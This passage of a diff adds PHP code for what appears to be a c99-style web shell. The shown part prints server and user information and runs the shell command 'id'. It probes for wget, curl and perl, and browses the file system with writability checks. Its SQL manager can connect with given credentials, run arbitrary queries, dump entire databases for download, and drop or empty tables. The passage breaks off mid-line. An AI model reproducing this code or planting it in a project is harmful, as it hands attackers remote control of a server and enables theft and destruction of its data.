<a href=".$surl."x=phpini>php.ini</a><br>". + "Safe Mode:$hsafemode<br>Magic Quotes:$quot<br>". + "Uname -a : ".php_uname()."<br>"; +if (!$win) { echo "id : ".myshellexec("id"); } +else { echo "User : " . get_current_user(); } +echo "<br></p>". + "<p>Server IP : <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a> - ". + "Your IP : <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a>"; + echo "<br><p>"; +if($win){echo "Drives : ".disp_drives($d,$surl)."</p><p>";} +echo "Freespace : ".disp_freespace($d); +echo "</p><p>"; +echo "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql(). + " cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."<br>"; +echo "Disabled Functions: ".showdisablefunctions(); +echo "</p></td></tr>"; +echo "<tr><td colspan=2 id=mainmenu>"; +if (count($quicklaunch2) > 0) { + foreach($quicklaunch2 as $item) { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) { + $a = explode(DIRECTORY_SEPARATOR,$d); + unset($a[count($a)-2]); + $v = join(DIRECTORY_SEPARATOR,$a); + } + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n"; + } +} +echo "</td><tr><td colspan=2 id=mainmenu>"; +if (count($quicklaunch1) > 0) { + foreach($quicklaunch1 as $item) { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) { + $a = explode(DIRECTORY_SEPARATOR,$d); + unset($a[count($a)-2]); + $v = join(DIRECTORY_SEPARATOR,$a); + } + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n"; + } +} +echo "</td><tr><td colspan=2 id=mainmenu>"; +if (count($quicklaunch3) > 0) { + foreach($quicklaunch3 as $item) { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) { + $a = explode(DIRECTORY_SEPARATOR,$d); + unset($a[count($a)-2]); + $v = join(DIRECTORY_SEPARATOR,$a); + } + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n"; + } +} +echo "</td></tr><tr><td colspan=2>"; +echo "<p class=fleft>"; +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) { + $t = ""; $j = 0; + foreach ($e as $r) { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) { break; } + $j++; + } + echo "<a href=\"".$surl."x=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=red>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>"; + $i++; +} +echo " - "; +if (is_writable($d)) { + $wd = TRUE; + $wdt = "<font color=#00FF00>[OK]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else { + $wd = FALSE; + $wdt = "<font color=red>[Read-Only]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +?> +</p> +<br /> +<form method="POST"><input type=hidden name=act value="ls"> +Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"> +</form> +</td></tr></table> +<?php +echo "<table id=maininfo><tr><td width=\"100%\">\n"; +if ($x == "") { $x = $dspact = "ls"; } +if ($x == "phpini" ) { get_phpini(); } +if ($x == "sql") { + $sql_surl = $surl."x=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + echo "<table>". + "<tr><td width=\"100%\" colspan=2 class=barheader>"; + if ($sql_server) { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "[ SQL Manager ]<br>"; + if (!$sql_sock) { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "Can't connect! ".$err;} + } + else { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=processes"); + $sqlquicklaunch[] = array("Logout",$surl."x=sql"); + echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + } + echo "</td></tr><tr>"; + if (!$sql_sock) { + echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">"; + echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"x\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>"; + } + else { + if (!empty($sql_db)) { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade> + <?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade> + <?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"> + <?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form> + <?php + } + echo "</td><td width=\"100%\">"; + $diplay = TRUE; + if ($sql_db) { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_x == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";} + elseif ($sql_x == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_x = "query";} + elseif ($sql_x == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_x = "dump";} + elseif ($sql_x == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";} + elseif ($sql_x == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";} + elseif ($sql_x == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";} + elseif ($sql_x == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";} + elseif ($sql_x == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_x = "query";} + elseif ($sql_tbl_x == "insert") { + if ($sql_tbl_insert_radio == 1) { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_x = "query"; + $sql_tbl_x = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_x = "query"; + $sql_tbl_x = "browse"; + } + } + if ($sql_x == "query") { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;} + if ((!$submit) or ($sql_x)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_x,$acts)) { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b> + <form action="<?php echo $surl; ?>"> + <input type="hidden" name="x" value="sql"> + <input type="hidden" name="sql_x" value="newtbl"> + <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"> + <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> + <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> + <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"> + <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"> + <input type="text" name="sql_newtbl" size="20"> + <input type="submit" value="Create"> + </form></td> + <td width="30%" height="1"><b>Dump DB:</b> + <form action="<?php echo $surl; ?>"> + <input type="hidden" name="x" value="sql"> + <input type="hidden" name="sql_x" value="dump"> + <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"> + <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> + <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> + <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table> + <?php + if (!empty($sql_x)) {echo "<hr size=\"1\" noshade>";} + if ($sql_x == "newtbl") { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) { + echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_x == "dump") { + if (empty($submit)) { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) { + if (!empty($sql_tbl)) { + if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_x=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_x == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_x == "insert") { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) { } //Not Ready + else { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_x == "browse") { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."x=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."x=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."x=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_empty\" alt=\"Empty\" 